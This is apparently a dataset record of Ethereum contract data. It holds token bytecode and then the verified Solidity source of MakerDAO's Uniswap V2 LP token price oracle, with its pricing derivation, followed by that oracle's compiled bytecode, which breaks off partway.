84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600360159054906101000a900460ff16151561097d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5472616e66657273206172652064697361626c6564000000000000000000000081525060200191505060405180910390fd5b6109888484846113c5565b151561099357600080fd5b600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0157600080fd5b600360149054906101000a900460ff16151515610a1d57600080fd5b670de0b6b3a7640000623d090002610a408360015461177f90919063ffffffff16565b11151515610a4d57600080fd5b610a57838361179b565b1515610a6257600080fd5b6001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b7d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c11565b610b90838261198190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60045481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eae57600080fd5b8160048190555060019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1c57600080fd5b600360149054906101000a900460ff16151515610f3857600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f534f4c494400000000000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff16151561106b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5472616e66657273206172652064697361626c6564000000000000000000000081525060200191505060405180910390fd5b611075838361199a565b151561108057600080fd5b6001905092915050565b600360159054906101000a900460ff1681565b600061112e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006004541415801561133557506004544210155b151561134057600080fd5b6001600360156101000a81548160ff021916908315150217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b957600080fd5b6113c281611bb9565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561140257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561144f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114da57600080fd5b61152b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115be826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561179257fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f957600080fd5b600360149054906101000a900460ff1615151561181557600080fd5b61182a8260015461177f90919063ffffffff16565b600181905550611881826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561198f57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119d757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a2457600080fd5b611a75826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b08826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bf557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058201ff02e3f3615d1d70160747a9cddf852569894c038f592e021c45c325e0865e80029
{"success": true, "error": null, "results": {}}
3,649
0x25d03c2c928ade19ff9f4ffecc07d991d0df054b
/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000ae461ca67b15dc8dc81ce7615e0320da1a9ab8d581565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e49563244414955534443000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000ae461ca67b15dc8dc81ce7615e0320da1a9ab8d56001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000ae461ca67b15dc8dc81ce7615e0320da1a9ab8d56001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a49160048083019260209291